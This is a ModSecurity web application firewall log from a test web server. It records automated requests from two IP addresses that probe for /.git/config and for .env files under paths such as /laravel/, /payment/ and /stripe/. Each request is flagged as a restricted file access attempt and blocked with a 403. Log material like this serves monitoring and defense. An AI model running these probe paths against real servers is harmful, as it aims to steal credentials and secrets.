[Tue Feb 24 11:13:55.521000 2026] [:error] [pid 2297937] [client 153.33.99.34:49350] [client 153.33.99.34] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ154wV-gKqTl1hyyMHKswAAAAY&quot;]
[Tue Feb 24 11:13:55.521311 2026] [:error] [pid 2297937] [client 153.33.99.34:49350] [client 153.33.99.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ154wV-gKqTl1hyyMHKswAAAAY&quot;]
[Tue Feb 24 11:13:55.521722 2026] [:error] [pid 2297937] [client 153.33.99.34:49350] [client 153.33.99.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ154wV-gKqTl1hyyMHKswAAAAY&quot;]
[Tue Feb 24 11:35:07.670108 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ1-2-r69ULlzKdmHDtvTQAAAAg&quot;]
[Tue Feb 24 11:35:07.670376 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ1-2-r69ULlzKdmHDtvTQAAAAg&quot;]
[Tue Feb 24 11:35:07.670632 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ1-2-r69ULlzKdmHDtvTQAAAAg&quot;]
[Tue Feb 24 11:35:07.694998 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ1-2-r69ULlzKdmHDtvTgAAAAg&quot;]
[Tue Feb 24 11:35:07.695244 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ1-2-r69ULlzKdmHDtvTgAAAAg&quot;]
[Tue Feb 24 11:35:07.695438 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ1-2-r69ULlzKdmHDtvTgAAAAg&quot;]
[Tue Feb 24 11:35:07.779270 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.vite&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.vite&quot;] [unique_id &quot;aZ1-2-r69ULlzKdmHDtvTwAAAAg&quot;]
[Tue Feb 24 11:35:07.779506 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.vite&quot;] [unique_id &quot;aZ1-2-r69ULlzKdmHDtvTwAAAAg&quot;]
[Tue Feb 24 11:35:07.779708 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.vite&quot;] [unique_id &quot;aZ1-2-r69ULlzKdmHDtvTwAAAAg&quot;]
[Tue Feb 24 11:35:08.002944 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ1-3Or69ULlzKdmHDtvUAAAAAg&quot;]
[Tue Feb 24 11:35:08.003181 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ1-3Or69ULlzKdmHDtvUAAAAAg&quot;]
[Tue Feb 24 11:35:08.003392 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ1-3Or69ULlzKdmHDtvUAAAAAg&quot;]
[Tue Feb 24 11:35:08.038006 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ1-3Or69ULlzKdmHDtvUQAAAAg&quot;]
[Tue Feb 24 11:35:08.038239 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ1-3Or69ULlzKdmHDtvUQAAAAg&quot;]
[Tue Feb 24 11:35:08.038468 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ1-3Or69ULlzKdmHDtvUQAAAAg&quot;]
[Tue Feb 24 11:35:08.090531 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /payment/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/payment/.env&quot;] [unique_id &quot;aZ1-3Or69ULlzKdmHDtvUgAAAAg&quot;]
[Tue Feb 24 11:35:08.090771 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/payment/.env&quot;] [unique_id &quot;aZ1-3Or69ULlzKdmHDtvUgAAAAg&quot;]
[Tue Feb 24 11:35:08.090971 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/payment/.env&quot;] [unique_id &quot;aZ1-3Or69ULlzKdmHDtvUgAAAAg&quot;]
[Tue Feb 24 11:35:08.126313 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ1-3Or69ULlzKdmHDtvUwAAAAg&quot;]
[Tue Feb 24 11:35:08.126584 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ1-3Or69ULlzKdmHDtvUwAAAAg&quot;]
[Tue Feb 24 11:35:08.126785 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ1-3Or69ULlzKdmHDtvUwAAAAg&quot;]
[Tue Feb 24 11:35:08.217916 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ1-3Or69ULlzKdmHDtvVAAAAAg&quot;]
[Tue Feb 24 11:35:08.218153 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ1-3Or69ULlzKdmHDtvVAAAAAg&quot;]
[Tue Feb 24 11:35:08.218384 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ1-3Or69ULlzKdmHDtvVAAAAAg&quot;]
[Tue Feb 24 11:35:08.499618 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ1-3Or69ULlzKdmHDtvVQAAAAg&quot;]
[Tue Feb 24 11:35:08.499846 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ1-3Or69ULlzKdmHDtvVQAAAAg&quot;]
[Tue Feb 24 11:35:08.500048 2026] [:error] [pid 2297965] [client 185.177.72.60:5448] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ1-3Or69ULlzKdmHDtvVQAAAAg&quot;]
[Tue Feb 24 11:35:19.400402 2026] [:error] [pid 2297937] [client 185.177.72.60:54954] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stripe/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stripe/.env&quot;] [unique_id &quot;aZ1-5wV-gKqTl1hyyMHKvQAAAAY&quot;]
[Tue Feb 24 11:35:19.400670 2026] [:error] [pid 2297937] [client 185.177.72.60:54954] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stripe/.env&quot;] [unique_id &quot;aZ1-5wV-gKqTl1hyyMHKvQAAAAY&quot;]
[Tue Feb 24 11:35:19.400860 2026] [:error] [pid 2297937] [client 185.177.72.60:54954] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stripe/.env&quot;] [unique_id &quot;aZ1-5wV-gKqTl1hyyMHKvQAAAAY&quot;]
